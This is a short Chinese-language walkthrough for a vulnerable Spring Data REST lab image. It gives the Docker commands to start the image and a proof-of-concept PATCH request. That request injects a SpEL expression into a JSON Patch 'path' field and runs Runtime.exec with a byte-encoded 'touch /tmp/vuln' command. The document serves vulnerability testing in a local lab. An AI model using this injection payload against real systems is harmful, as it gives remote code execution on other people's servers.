- 拉取镜像到本地
$ docker pull medicean/vulapps:s_spring_1
- 启动环境
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1
-p 8080:8080
前面的 8080 代表物理机的端口,可随意指定。
访问 http://你的 IP 地址:端口号/
, 假设启动的端口号为 8080
- 访问
http://127.0.0.1:8080/
,测试服务是否启动成功
-
利用 POST 请求添加一个数据
POST /persons HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/json Cache-Control: no-cache {"firstName": "VulApps", "lastName": "VulApps"}
- 执行 PoC
执行命令为: /usr/bin/touch /tmp/vuln
,注意 Content-Type 值为 application/json-patch+json
PATCH /persons/1 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
Content-Length: 228
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]
- 进入容器,发现成功创建文件
- 2017/09/29 删除原 jar 包中 mongodb 依赖